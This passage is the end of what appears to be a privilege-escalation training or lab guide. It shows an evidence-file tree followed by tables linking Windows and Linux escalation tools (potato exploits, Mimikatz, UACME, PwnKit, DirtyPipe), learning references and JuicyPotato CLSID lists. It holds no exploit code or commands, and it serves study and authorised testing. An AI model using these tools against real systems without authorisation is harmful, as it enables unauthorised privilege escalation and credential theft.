    ├── 03_vulnerability_identified.png
    ├── 04_exploit_executed.png
    ├── 05_system_shell.png
    ├── 06_proof.txt
    └── commands.log
```

---

## Resources

### Tools

| Tool | URL | Use |
|---|---|---|
| PEASS-ng (WinPEAS/LinPEAS) | https://github.com/carlospolop/PEASS-ng | Automated enumeration |
| PrivescCheck | https://github.com/itm4n/PrivescCheck | Windows PrivEsc check |
| PowerSploit | https://github.com/PowerShellMafia/PowerSploit | PowerShell post-exploitation |
| GodPotato | https://github.com/BeichenDream/GodPotato | SeImpersonate → SYSTEM |
| PrintSpoofer | https://github.com/itm4n/PrintSpoofer | SeImpersonate → SYSTEM |
| JuicyPotato | https://github.com/ohpe/juicy-potato | Token impersonation (older OS) |
| linux-exploit-suggester | https://github.com/The-Z-Labs/linux-exploit-suggester | Kernel exploit enumeration |
| GTFOBins | https://gtfobins.github.io | SUID/sudo abuse reference |
| LOLBAS | https://lolbas-project.github.io | Windows LOLBins reference |
| UACME | https://github.com/hfiref0x/UACME | UAC bypass collection |
| Mimikatz | https://github.com/gentilkiwi/mimikatz | Credential harvesting |
| PwnKit exploit | https://github.com/ly4k/PwnKit | CVE-2021-4034 pkexec |
| DirtyPipe exploits | https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits | CVE-2022-0847 |

### Learning References

| Resource | URL |
|---|---|
| HackTricks Windows PrivEsc | https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation |
| HackTricks Linux PrivEsc | https://book.hacktricks.xyz/linux-hardening/privilege-escalation |
| PayloadsAllTheThings Windows | https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md |
| PayloadsAllTheThings Linux | https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md |
| TCM Security PrivEsc Course | https://academy.tcm-sec.com/p/windows-privilege-escalation-for-beginners |
| Exploit-DB | https://www.exploit-db.com |
| CVE Details | https://www.cvedetails.com |

### CLSID Lists for JuicyPotato

| OS | CLSID List |
|---|---|
| Windows 7 / Server 2008 | https://github.com/ohpe/juicy-potato/tree/master/CLSID/Windows_7_Enterprise |
| Windows 10 | https://github.com/ohpe/juicy-potato/tree/master/CLSID/Windows_10_Enterprise |
| Server 2016 | https://github.com/ohpe/juicy-potato/tree/master/CLSID/Windows_Server_2016_Standard |
| Server 2019 | Use GodPotato or PrintSpoofer instead |
